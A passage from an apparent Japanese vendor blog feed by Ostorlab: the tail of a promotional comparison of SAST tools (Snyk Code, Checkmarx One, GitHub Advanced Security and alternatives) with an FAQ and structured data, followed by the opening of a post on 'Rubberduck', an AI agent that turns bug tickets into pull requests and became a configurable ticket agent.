&lt;li&gt;開発者がセキュリティの検出結果を担当し、コードを書きながらIDEでフィードバックを得たい場合は、&lt;strong&gt;Snyk Codeを選択&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;レガシー言語、厳格なガバナンス、監査レポートを伴う大規模なAppSecプログラムを運営している場合は、&lt;strong&gt;Checkmarx Oneを選択&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;コードがGitHub上にあり、コミッター単位の価格で摩擦を最小限に抑えたい場合は、&lt;strong&gt;GitHub Advanced Securityを選択&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;誰も実証できない検出結果のトリアージにチームが時間をかけすぎている場合や、コード、API、Webアプリ、モバイルアプリをまとめて、エクスプロイトのエビデンス付きでテストし、オンプレミスまたは自社のAIキーで実行できる選択肢が必要な場合は、&lt;strong&gt;Ostorlabを選択&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらのツールは相互に排他的なものではありません。よくある構成では、開発者ファーストのスキャナーをIDEとプルリクエストに置いたまま、Ostorlabを使ってロジックの欠陥を見つけ、稼働中のアプリケーションでどの問題が悪用可能かを実証します。&lt;/p&gt;
&lt;h2 id="snyk codeの代替ツールのおすすめ"&gt;Snyk Codeの代替ツールのおすすめ&lt;/h2&gt;
&lt;p&gt;2026年におけるSnyk Codeの代替ツールのおすすめは、Ostorlab、GitHub Advanced Security、Checkmarx One、Semgrep、SonarQubeです。どれが適切かは、Snykから移行する理由によって決まります。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;は、各検出結果が悪用可能であると実証され、ソースコードがそこからビルドされたWebアプリ、API、モバイルアプリと一緒にテストされることを求めるチーム向けのSnyk Codeの代替ツールです。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GitHub Advanced Security&lt;/strong&gt;は、コードとプルリクエストがGitHub上にあるチーム向けのSnyk Codeの代替ツールで、GitHub Code Securityはアクティブなコミッター1人あたり月額$30です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Checkmarx One&lt;/strong&gt;は、一元的なガバナンス、監査レポート、COBOLなどのレガシー言語を必要とするエンタープライズ向けのSnyk Codeの代替ツールです。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Semgrep&lt;/strong&gt;は、高速なスキャンと自分たちで書くカスタムルールを求めるチーム向けのSnyk Codeの代替ツールです。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SonarQube&lt;/strong&gt;は、SASTを既存のコード品質ゲートに組み込み、自分たちで運用するセルフホストの選択肢を求めるチーム向けのSnyk Codeの代替ツールです。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="checkmarxの代替ツールのおすすめ"&gt;Checkmarxの代替ツールのおすすめ&lt;/h2&gt;
&lt;p&gt;2026年におけるCheckmarxの代替ツールのおすすめは、Ostorlab、Snyk Code、GitHub Advanced Security、Veracode、OpenText Fortifyです。Checkmarxから移行するチームは通常、ノイズの削減、より軽量な開発者ワークフロー、またはよりシンプルな価格を求めています。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;は、実証によってノイズを減らしたいチーム向けのCheckmarxの代替ツールです。AIエージェントが静的な結果を分析するだけでなく、検出結果を稼働中のアプリに対してテストし、自社のAIプロバイダーキーを使ってオンプレミスで動作します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Snyk Code&lt;/strong&gt;は、IDEとプルリクエストで迅速なフィードバックを求める開発者主導のチーム向けのCheckmarxの代替ツールです。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GitHub Advanced Security&lt;/strong&gt;は、プルリクエストでCodeQLとCopilot Autofixを使い、コミッター単位の価格を求めるGitHub上のチーム向けのCheckmarxの代替ツールです。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Veracode&lt;/strong&gt;は、強力なガバナンスとともに幅広い言語とバイナリのカバレッジを必要とするエンタープライズ向けのCheckmarxの代替ツールです。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OpenText Fortify&lt;/strong&gt;は、確立されたAppSecプログラムとオンプレミスの要件を持つエンタープライズ向けのCheckmarxの代替ツールです。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Semgrep、SonarQube、Veracode、Black Duck Coverity、OpenText Fortifyの詳細については、&lt;a href="https://blog.ostorlab.co/best-source-code-scanning-tools-2026.html"&gt;ソースコードスキャンツールのおすすめ（2026年版ガイド）&lt;/a&gt;をご覧ください。&lt;/p&gt;
&lt;h2 id="よくある質問"&gt;よくある質問&lt;/h2&gt;
&lt;h3 id="snyk codeの最適な代替ツールは何か"&gt;Snyk Codeの最適な代替ツールは何か&lt;/h3&gt;
&lt;p&gt;Snyk Codeの最適な代替ツールは、移行する理由によって異なります。GitHub Advanced Securityは、完全にGitHub上で作業しているチームに適しています。Checkmarx Oneは、ガバナンスとレガシー言語のカバレッジを必要とするエンタープライズに適しています。Ostorlabは、検出結果が悪用可能であると実証され、コード、API、モバイルアプリをまたいでテストされることを求めるチームに適しています。&lt;/p&gt;
&lt;h3 id="checkmarxの最適な代替ツールは何か"&gt;Checkmarxの最適な代替ツールは何か&lt;/h3&gt;
&lt;p&gt;Checkmarxから移行するチームは通常、ノイズの削減か、より軽量な開発者ワークフローを求めています。Snyk CodeとGitHub Advanced Securityは、開発者にとってより軽量です。Ostorlabは、静的な検出結果を分析するだけでなく、稼働中のアプリケーションに対して悪用可能性を実証するという別の方法でノイズを削減します。&lt;/p&gt;
&lt;h3 id="2026年のおすすめsastツールは何か"&gt;2026年のおすすめSASTツールは何か&lt;/h3&gt;
&lt;p&gt;2026年の主要なSASTツールは、Ostorlab、GitHub Advanced Security（CodeQL）、Semgrep、Snyk Code、Checkmarx One、SonarQube、Veracode、Black Duck Coverity、OpenText Fortifyです。このうち、稼働中のアプリに対して検出結果が悪用可能であることを実証するのはOstorlabです。&lt;/p&gt;
&lt;h3 id="ostorlabはsastツールか"&gt;OstorlabはSASTツールか&lt;/h3&gt;
&lt;p&gt;はい。OstorlabはSASTツールと同様にソースコードの脆弱性をスキャンしますが、固定のルールセットではなくAIエージェントを使用します。また、Webアプリ、API、モバイルアプリもテストするため、コードの検出結果を稼働中のアプリに対して実証できます。&lt;/p&gt;
&lt;h3 id="github advanced securityは導入する価値があるか"&gt;GitHub Advanced Securityは導入する価値があるか&lt;/h3&gt;
&lt;p&gt;GitHubを使うチームにとって、GitHub Code SecurityのCodeQLスキャンとCopilot Autofixの利便性はなかなか真似できません。トレードオフは、アクティブなコミッター1人あたり月額$30という価格と、CodeQLが他のSASTツールと同様に、稼働中のアプリをテストせずにコードについて報告する点です。&lt;/p&gt;
&lt;h3 id="ostorlabはsnykやcheckmarxの代わりになるか"&gt;OstorlabはSnykやCheckmarxの代わりになるか&lt;/h3&gt;
&lt;p&gt;実証されたリスクとロジックの欠陥を優先するチームにとって、OstorlabはSnyk CodeやCheckmarx Oneの代わりになり得ます。IDEで入力しながらスキャンしたいチームは、開発者ファーストのスキャナーを維持したうえで、エージェント型分析とエクスプロイト検証にOstorlabを使うことがよくあります。&lt;/p&gt;
&lt;h3 id="ostorlabのソースコードスキャンはどのプログラミング言語に対応しているか"&gt;Ostorlabのソースコードスキャンはどのプログラミング言語に対応しているか&lt;/h3&gt;
&lt;p&gt;Ostorlabはすべてのプログラミング言語に対応しています。ソースコードのページには、Python、JavaScript、TypeScript、Java、Kotlin、Go、C、C++、C#、PHP、Ruby、Rust、Scala、Swift、Objective-C、Dart、Elixir、Zigを含む53の言語が掲載されています。&lt;/p&gt;
&lt;h3 id="ostorlabはソースコードをオンプレミスでスキャンできるか"&gt;Ostorlabはソースコードをオンプレミスでスキャンできるか&lt;/h3&gt;
&lt;p&gt;はい。Ostorlabのスキャナーノードは、プライベートリポジトリ向けに自社環境内で動作させることができ、AI分析には自社のAIプロバイダーキーを使用できます。&lt;/p&gt;
&lt;h2 id="この比較の作成方法"&gt;この比較の作成方法&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Snyk、Checkmarx、GitHubに関する事実は、各社の公式ドキュメントと価格ページに基づくもので、2026年10月7日に確認し、&lt;a href="#sources"&gt;出典&lt;/a&gt;にリンクを掲載しています。ベンダーはこれらのページを頻繁に更新します。&lt;/li&gt;
&lt;li&gt;この比較は公開されている機能と価格を対象としており、検出率のベンチマークではありません。&lt;/li&gt;
&lt;li&gt;Ostorlabは、稼働中のWebアプリ、API、モバイルアプリがスコープに含まれる場合に、実際に動作するエクスプロイトを添付します。リポジトリを単独でスキャンした場合は、コードのコンテキストとエビデンスを伴う検出結果が得られます。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="sources"&gt;出典&lt;/h2&gt;
&lt;p&gt;他ベンダーに関する事実は、2026年10月7日に以下の公式ページで確認しました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Snyk：&lt;a href="https://docs.snyk.io/supported-languages/supported-languages-list"&gt;対応言語&lt;/a&gt;、&lt;a href="https://docs.snyk.io/developer-tools/snyk-ide-plugins-and-extensions"&gt;IDEプラグイン&lt;/a&gt;、&lt;a href="https://docs.snyk.io/scan-fix-and-prevent/scan-with-snyk/snyk-code/manage-code-vulnerabilities/fix-code-vulnerabilities-automatically"&gt;Snyk Agent Fix&lt;/a&gt;、&lt;a href="https://docs.snyk.io/developer-tools/scm-integrations/scm-integrations-and-snyk-broker"&gt;Snyk Broker&lt;/a&gt;、&lt;a href="https://docs.snyk.io/scan-fix-and-prevent/fix/remediation-agent"&gt;Remediation Agent&lt;/a&gt;、&lt;a href="https://snyk.io/plans/"&gt;プラン&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Checkmarx：&lt;a href="https://checkmarx.com/product/application-security-platform/"&gt;Checkmarx Oneプラットフォーム&lt;/a&gt;、&lt;a href="https://docs.checkmarx.com/en/34965-149060-sast-scanner---supported-languages-and-frameworks.html"&gt;SASTの対応言語&lt;/a&gt;、&lt;a href="https://checkmarx.com/press-releases/checkmarx-one-achieves-industrys-highest-scanning-fidelity-outperforming-both-legacy-tools-and-ai-models/"&gt;Finding Analysis Engineの発表&lt;/a&gt;、&lt;a href="https://checkmarx.com/product/developer-assist/"&gt;Developer Assist&lt;/a&gt;、&lt;a href="https://checkmarx.com/cxsast-source-code-scanning/"&gt;CxSAST&lt;/a&gt;、&lt;a href="https://checkmarx.com/packaging/"&gt;パッケージ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;GitHub：&lt;a href="https://github.com/security/plans"&gt;セキュリティプランと価格&lt;/a&gt;、&lt;a href="https://docs.github.com/en/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql"&gt;CodeQLの対応言語&lt;/a&gt;、&lt;a href="https://learn.microsoft.com/en-us/azure/devops/repos/security/configure-github-advanced-security-features?view=azure-devops"&gt;GitHub Advanced Security for Azure DevOps&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Ostorlab：&lt;a href="https://ostorlab.co/product/source-code"&gt;ソースコードスキャン&lt;/a&gt;、&lt;a href="https://ostorlab.co/product/multi-asset"&gt;マルチアセットスキャン&lt;/a&gt;、&lt;a href="https://ostorlab.co/product/on-premises-scanning/source-code"&gt;オンプレミススキャン&lt;/a&gt;、&lt;a href="https://ostorlab.co/product/mcp"&gt;MCPサーバー&lt;/a&gt;、&lt;a href="https://ostorlab.co/plans"&gt;プラン&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="まとめ"&gt;まとめ&lt;/h2&gt;
&lt;p&gt;Snyk Code、Checkmarx One、GitHub Advanced Securityはいずれも優れたSASTツールであり、どれが適切かは、検出結果を誰が担当するかによって決まります。開発者か、エンタープライズのAppSecチームか、GitHubを拠点とするチームかです。3つとも同じ問いに答えます。このコードは脆弱に見えるか、という問いです。Ostorlabはその次の問いに答えます。誰かが実際にそれを悪用できるのか、そしてアプリケーションのどの部分を通じてか、という問いです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;自社のコードで確かめる&lt;/strong&gt;：&lt;a href="https://ostorlab.co/product/source-code"&gt;ソースコードスキャンを実行&lt;/a&gt;して、現在使っているツールと検出結果を比較してください。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;すでにSnyk、Checkmarx、GitHub Advanced Securityをお使いですか？&lt;/strong&gt; &lt;a href="https://ostorlab.co/bake-off"&gt;同じアプリでOstorlabと現在のツールを比較&lt;/a&gt;してください。同じターゲット、同じ時間枠で行います。検出結果は、自社のチームが再現できた場合にのみカウントされます。&lt;/p&gt;
&lt;script type="application/ld+json"&gt;
{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "ItemList",
      "@id": "https://blog.ostorlab.co/snyk-checkmarx-github-advanced-security-alternatives.html#list-1",
      "name": "Snyk Codeの代替ツールのおすすめ（2026年）",
      "itemListElement": [
        {
          "@type": "ListItem",
          "position": 1,
          "name": "Ostorlab",
          "description": "Ostorlabは、各検出結果が悪用可能であると実証され、ソースコードがそこからビルドされたWebアプリ、API、モバイルアプリと一緒にテストされることを求めるチーム向けのSnyk Codeの代替ツールです。"
        },
        {
          "@type": "ListItem",
          "position": 2,
          "name": "GitHub Advanced Security",
          "description": "GitHub Advanced Securityは、コードとプルリクエストがGitHub上にあるチーム向けのSnyk Codeの代替ツールで、GitHub Code Securityはアクティブなコミッター1人あたり月額$30です。"
        },
        {
          "@type": "ListItem",
          "position": 3,
          "name": "Checkmarx One",
          "description": "Checkmarx Oneは、一元的なガバナンス、監査レポート、COBOLなどのレガシー言語を必要とするエンタープライズ向けのSnyk Codeの代替ツールです。"
        },
        {
          "@type": "ListItem",
          "position": 4,
          "name": "Semgrep",
          "description": "Semgrepは、高速なスキャンと自分たちで書くカスタムルールを求めるチーム向けのSnyk Codeの代替ツールです。"
        },
        {
          "@type": "ListItem",
          "position": 5,
          "name": "SonarQube",
          "description": "SonarQubeは、SASTを既存のコード品質ゲートに組み込み、自分たちで運用するセルフホストの選択肢を求めるチーム向けのSnyk Codeの代替ツールです。"
        }
      ]
    },
    {
      "@type": "ItemList",
      "@id": "https://blog.ostorlab.co/snyk-checkmarx-github-advanced-security-alternatives.html#list-2",
      "name": "Checkmarxの代替ツールのおすすめ（2026年）",
      "itemListElement": [
        {
          "@type": "ListItem",
          "position": 1,
          "name": "Ostorlab",
          "description": "Ostorlabは、実証によってノイズを減らしたいチーム向けのCheckmarxの代替ツールです。AIエージェントが静的な結果を分析するだけでなく、検出結果を稼働中のアプリに対してテストし、自社のAIプロバイダーキーを使ってオンプレミスで動作します。"
        },
        {
          "@type": "ListItem",
          "position": 2,
          "name": "Snyk Code",
          "description": "Snyk Codeは、IDEとプルリクエストで迅速なフィードバックを求める開発者主導のチーム向けのCheckmarxの代替ツールです。"
        },
        {
          "@type": "ListItem",
          "position": 3,
          "name": "GitHub Advanced Security",
          "description": "GitHub Advanced Securityは、プルリクエストでCodeQLとCopilot Autofixを使い、コミッター単位の価格を求めるGitHub上のチーム向けのCheckmarxの代替ツールです。"
        },
        {
          "@type": "ListItem",
          "position": 4,
          "name": "Veracode",
          "description": "Veracodeは、強力なガバナンスとともに幅広い言語とバイナリのカバレッジを必要とするエンタープライズ向けのCheckmarxの代替ツールです。"
        },
        {
          "@type": "ListItem",
          "position": 5,
          "name": "OpenText Fortify",
          "description": "OpenText Fortifyは、確立されたAppSecプログラムとオンプレミスの要件を持つエンタープライズ向けのCheckmarxの代替ツールです。"
        }
      ]
    },
    {
      "@type": "FAQPage",
      "@id": "https://blog.ostorlab.co/snyk-checkmarx-github-advanced-security-alternatives.html#faq",
      "mainEntity": [
        {
          "@type": "Question",
          "name": "Snyk Codeの最適な代替ツールは何ですか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "Snyk Codeの最適な代替ツールは、移行する理由によって異なります。GitHub Advanced Securityは、完全にGitHub上で作業しているチームに適しています。Checkmarx Oneは、ガバナンスとレガシー言語のカバレッジを必要とするエンタープライズに適しています。Ostorlabは、検出結果が悪用可能であると実証され、コード、API、モバイルアプリをまたいでテストされることを求めるチームに適しています。"
          }
        },
        {
          "@type": "Question",
          "name": "Checkmarxの最適な代替ツールは何ですか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "Checkmarxから移行するチームは通常、ノイズの削減か、より軽量な開発者ワークフローを求めています。Snyk CodeとGitHub Advanced Securityは、開発者にとってより軽量です。Ostorlabは、静的な検出結果を分析するだけでなく、稼働中のアプリケーションに対して悪用可能性を実証するという別の方法でノイズを削減します。"
          }
        },
        {
          "@type": "Question",
          "name": "2026年のおすすめSASTツールは何ですか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "2026年の主要なSASTツールは、Ostorlab、GitHub Advanced Security（CodeQL）、Semgrep、Snyk Code、Checkmarx One、SonarQube、Veracode、Black Duck Coverity、OpenText Fortifyです。このうち、稼働中のアプリに対して検出結果が悪用可能であることを実証するのはOstorlabです。"
          }
        },
        {
          "@type": "Question",
          "name": "OstorlabはSASTツールですか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "はい。OstorlabはSASTツールと同様にソースコードの脆弱性をスキャンしますが、固定のルールセットではなくAIエージェントを使用します。また、Webアプリ、API、モバイルアプリもテストするため、コードの検出結果を稼働中のアプリに対して実証できます。"
          }
        },
        {
          "@type": "Question",
          "name": "GitHub Advanced Securityは導入する価値がありますか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "GitHubを使うチームにとって、GitHub Code SecurityのCodeQLスキャンとCopilot Autofixの利便性はなかなか真似できません。トレードオフは、アクティブなコミッター1人あたり月額$30という価格と、CodeQLが他のSASTツールと同様に、稼働中のアプリをテストせずにコードについて報告する点です。"
          }
        },
        {
          "@type": "Question",
          "name": "OstorlabはSnykやCheckmarxの代わりになりますか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "実証されたリスクとロジックの欠陥を優先するチームにとって、OstorlabはSnyk CodeやCheckmarx Oneの代わりになり得ます。IDEで入力しながらスキャンしたいチームは、開発者ファーストのスキャナーを維持したうえで、エージェント型分析とエクスプロイト検証にOstorlabを使うことがよくあります。"
          }
        },
        {
          "@type": "Question",
          "name": "Ostorlabのソースコードスキャンはどのプログラミング言語に対応していますか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "Ostorlabはすべてのプログラミング言語に対応しています。ソースコードのページには、Python、JavaScript、TypeScript、Java、Kotlin、Go、C、C++、C#、PHP、Ruby、Rust、Scala、Swift、Objective-C、Dart、Elixir、Zigを含む53の言語が掲載されています。"
          }
        },
        {
          "@type": "Question",
          "name": "Ostorlabはソースコードをオンプレミスでスキャンできますか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "はい。Ostorlabのスキャナーノードは、プライベートリポジトリ向けに自社環境内で動作させることができ、AI分析には自社のAIプロバイダーキーを使用できます。"
          }
        }
      ]
    }
  ]
}
&lt;/script&gt;</content><category term="Product"/><category term="Security"/><category term="Comparison"/><category term="Source Code Scanning"/><category term="SAST"/></entry><entry><title>自社のバックログのために作ったAIエージェントを、今度はあなたのチームに</title><link href="https://blog.ostorlab.co/ja/ticket-agent-backlog.html" rel="alternate"/><published>2026-10-06T09:00:00+02:00</published><updated>2026-10-06T09:00:00+02:00</updated><author><name>Bilal Harras</name></author><id>tag:blog.ostorlab.co,2026-10-06:/ja/ticket-agent-backlog.html</id><summary type="html">&lt;p&gt;バグチケットをプルリクエストに変える小さなエージェントが、どのようにしてOstorlabのチケットエージェントになったのか。仕事、モデル、実行ルールを与えるだけで動くAIのチームメイトを紹介します。&lt;/p&gt;</summary><content type="html">&lt;h2 id="課題"&gt;課題&lt;/h2&gt;
&lt;p&gt;Ostorlabは、モバイルアプリ、Webアプリ、API、コードの問題を見つけるツールを作っています。それが仕事であり、そこにはコストが伴います。見つけた問題はすべてチケットになるのです。&lt;/p&gt;
&lt;p&gt;当社自身のプラットフォームも例外ではありません。ログにはエラーが現れ、バグが報告され、スキャンが問題を見つけ、そのひとつひとつがチケットになります。そしてチケットは次々とやってきました。&lt;/p&gt;
&lt;p&gt;その多くは難しいものではありませんでした。スタックトレースが該当する行を正確に指し示し、エラーメッセージが何が問題かを伝え、修正は数行のコードで済むことも少なくありませんでした。それでも誰かが手を止めなければなりません。チケットを開いて読み、コードを探し、修正を書いてテストし、プルリクエストを作成する必要があります。&lt;/p&gt;
&lt;p&gt;そのため、簡単なチケットは後回しにされました。難しいからではなく、誰もがより難しい仕事で手一杯だったからです。小さな修正が何日も放置されることもあり、バックログは膨らんでいきました。増えたのは難しい問題ではなく、誰も手を付ける時間のない簡単な問題でした。&lt;/p&gt;
&lt;h2 id="機会"&gt;機会&lt;/h2&gt;
&lt;p&gt;それらのチケットをよく見ると、あることに気付きました。その多くは、そもそも人が書いたものではなかったのです。エラーログやスキャン結果から自動生成されたもので、それらの情報源にはエラーメッセージ、スタックトレース、ファイル、行といった詳細がすでに含まれています。チケットには、何が壊れたのか、どこで壊れたのか、そして多くの場合はなぜ壊れたのかが、すでに書かれていました。&lt;/p&gt;
&lt;p&gt;当社は、エンジニアが修正に取りかかるのに必要なものをすべて提供するよう、これらのチケットを設計していました。そして、エンジニアが修正に取りかかるのに必要なものは、AIエージェントが必要とするものでもあると気付いたのです。情報はそろっていました。足りなかったのは時間でした。&lt;/p&gt;
&lt;p&gt;そこで、シンプルな問いが生まれました。エージェントがチケットを引き受けて修正を始められたらどうだろうか、という問いです。&lt;/p&gt;
&lt;p&gt;コーディングエージェントは、すでにコードを読み、エラーを追い、修正を書くことができました。しかし、そのほとんどは依然として、開発者が起動してプロンプトを入力するのを待っていました。当社が求めていたのは別のものでした。エンジニアが使うのを覚えておかなければならないツールをもう一つ増やしたいのではなく、仕事がすでに存在する場所、つまりチケットの中で仕事が始まるようにしたかったのです。&lt;/p&gt;
&lt;p&gt;チケットが届き、エージェントがそれを引き受け、プルリクエストが作成され、エンジニアがそれをレビューする。エンジニアは主導権を保ったまま、繰り返しの作業だけを省けます。そして、各チケットはそれぞれ専用のエージェントに割り当てられるため、作業はバックログに合わせてスケールします。処理すべきチケットの数だけ、エージェントが並列に動きます。&lt;/p&gt;
&lt;h2 id="最初のバージョン"&gt;最初のバージョン&lt;/h2&gt;
&lt;p&gt;当社は意図的に小さく始めました。一つの仕事を持つ一つのエージェントを作ったのです。その仕事とは、バグチケットを読み、それを修正するプルリクエストを作成することです。&lt;/p&gt;
&lt;p&gt;当社はそれをRubberduckと名付けました。チームの全員がこの名前を気に入っているわけではありません。それでも定着しました。&lt;/p&gt;
&lt;p&gt;流れはシンプルでした。エンジニアは、チームメイトに割り当てるのと同じようにチケットをRubberduckに割り当てます。その後はエージェントが引き継ぎます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;チケットとそのコメントを読む&lt;/li&gt;
&lt;li&gt;該当するコードを見つける&lt;/li&gt;
&lt;li&gt;何が問題だったのかを突き止める&lt;/li&gt;
&lt;li&gt;修正を書いてプルリクエストを作成する&lt;/li&gt;
&lt;li&gt;そのプルリクエストへのリンクを添えて、チケットにコメントを残す&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;レビュー担当者が変更を求める場合も、新しいツールは必要ありませんでした。同僚に対してするのと同じようにコメントを残せば、Rubberduckがそれを読んで作業を更新しました。&lt;/p&gt;
&lt;p&gt;それだけでした。ダッシュボードも設定もなく、一つのエージェントに一つの仕事だけです。完璧ではありませんでしたが、実際のチケットで働かせるには十分な出来でした。&lt;/p&gt;
&lt;h2 id="自分たちで使ってみる"&gt;自分たちで使ってみる&lt;/h2&gt;
&lt;p&gt;当社はRubberduckに自社のバックログの実際のチケットを与え、Rubberduckはプルリクエストを作成し始めました。良いものもあれば、そうでないものもあり、ミスのひとつひとつから学びがありました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;症状ではなく原因を見つける&lt;/strong&gt;：初期の修正は、エラーを解決するのではなく隠してしまうことがありました。そこで、慎重なエンジニアのように働くようエージェントに教えました。エラーを読み、その本当の原因までさかのぼって追跡し、再現してから修正するのです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;人間に向けて書く&lt;/strong&gt;：最初のプルリクエストのタイトルは、チケットからエラーメッセージをコピーしただけのものが多く、長い一覧の中では読みにくいものでした。今では、エージェントは何を修正したかを伝える短いタイトルを書きます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;分からないときはそう言う&lt;/strong&gt;：チケットに十分な情報がないこともありました。エージェントは推測し、推測は悪い修正を生みます。そこで、立ち止まって質問するよう教えました。今では、チケットが修正済み、一部修正済み、ブロック中、追加のコンテキストが必要、のいずれであるかを報告できます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;仕事を最後までやり遂げる&lt;/strong&gt;：テストが失敗しているプルリクエストは修正ではありません。そこで、エージェントは今ではチェックが通るのを待ち、壊れたものを修正します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;当社のルールに従う&lt;/strong&gt;：どのチームにも独自のコードの書き方があります。当社はエージェントにスタイルガイドを与えました。また、メモリも与えたため、あるチケットで得た教訓が次のチケットで役立ちます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;シークレットを手の届かない場所に置く&lt;/strong&gt;：エージェントはコードにアクセスする必要がありますが、パスワードやシークレットを見るべきではありません。そこで、それらをエージェントの手の届かない場所に完全に移しました。シークレットは実行時に注入されるため、エージェントはそれを使うことはできても、読むことは決してできません。&lt;/p&gt;
&lt;p&gt;Rubberduckのプルリクエストが、他の全員のものと並んでレビューキューに現れ始めたとき、当社はRubberduckを実験とは考えなくなりました。当社はそれらを同じようにレビューしました。Rubberduckはチームの一員になっていたのです。&lt;/p&gt;
&lt;h2 id="より大きな気付き"&gt;より大きな気付き&lt;/h2&gt;
&lt;p&gt;Rubberduckが機能するようになると、チームのメンバーはさらに多くを求めるようになりました。&lt;/p&gt;
&lt;p&gt;「新しいチケットを緊急度で並べ替えられないか」
「検出結果を自社のコンプライアンスルールと照合できないか」
「毎週月曜日に未解決のチケットをレビューできないか」&lt;/p&gt;
&lt;p&gt;どれも良いアイデアでしたが、Rubberduckにはできませんでした。その仕事はRubberduckに組み込まれていたからです。コードを修正すること、それだけでした。当社はすでに、コードを書く代わりに作業を計画する2つ目のエージェントを作っていましたが、それにも同じ問題がありました。その仕事も組み込まれていたのです。新しい仕事のたびに新しいエージェントを作り続けることもできましたが、それでは終わりがありません。&lt;/p&gt;
&lt;p&gt;Rubberduckを使うのにセットアップは不要でした。しかし、新しいエージェントを作るたびにセットアップが必要でした。長い設定ファイルを手で書く必要があり、そこではすべての名前が正確でなければなりませんでした。機能はしましたが、もっと良い方法があるように感じられました。&lt;/p&gt;
&lt;p&gt;そのとき、当社は本当の機会に気付きました。問題は決して「コードを修正するエージェントが必要だ」ということではありませんでした。問題は「チケットの中に、誰も手を付ける時間のない仕事がある」ということであり、コードの修正はその種の仕事の一つにすぎなかったのです。&lt;/p&gt;
&lt;p&gt;ですから、エージェントは決まった仕事を持つべきではありません。チームが与えるどんな仕事でも引き受けるべきであり、その設定は設定ファイルを書くようなものではなく、フォームに記入するような感覚であるべきです。平易な言葉で仕事を説明し、モデルを選び、実行するタイミングを選ぶのです。&lt;/p&gt;
&lt;h2 id="当社が作ったもの"&gt;当社が作ったもの&lt;/h2&gt;
&lt;p&gt;当社はその考えを軸にチケットエージェントを作り直しました。今ではエージェントは一種類だけで、仕事を与えるまでは何の仕事も持っていません。フォームで、いくつかのステップで設定します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;名前を付ける&lt;/strong&gt;：好きな名前を付けられます。慎重に選んでください。名前は定着します。当社はそれを知っています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;仕事を与える&lt;/strong&gt;：エージェントが何をすべきかを平易な言葉で書きます。どこから始めればよいか分からない場合は、&lt;a href="https://docs.ostorlab.co/ai_agents/ticket_agent.html"&gt;当社のセットアップガイド&lt;/a&gt;が、当社がその過程で学んだ教訓とともに手順を案内します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="エージェントの名前、説明、システムプロンプトを入力するエージェント詳細のステップ" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-10-06_ticket_agent/agent_details.jpg" title="エージェントに名前と仕事を与える"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;エージェントに名前と仕事を与える&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;モデルを選ぶ&lt;/strong&gt;：自社のAIプロバイダーのキーを使うことも、Ostorlabが提供するモデルで実行してクレジット残高で支払うこともできます。各実行は開始時にクレジットを確保し、使わなかったクレジットは戻ってきます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="モデルのキーと前払いのモデルのどちらかを選ぶAIモデルのステップ" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-10-06_ticket_agent/ai_model.jpg" title="モデルを選ぶ"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;モデルを選ぶ&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;実行するタイミングを選ぶ&lt;/strong&gt;：ルールを追加します。ルールは次のタイミングで発火できます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;チケットに何かが起きたとき：作成された、割り当てられた、再オープンされた、新しいコメントが付いた、期限を過ぎた、&lt;/li&gt;
&lt;li&gt;スキャンが完了したとき、&lt;/li&gt;
&lt;li&gt;または、毎週月曜日の朝のようなスケジュールに従って&lt;/li&gt;
&lt;/ul&gt;
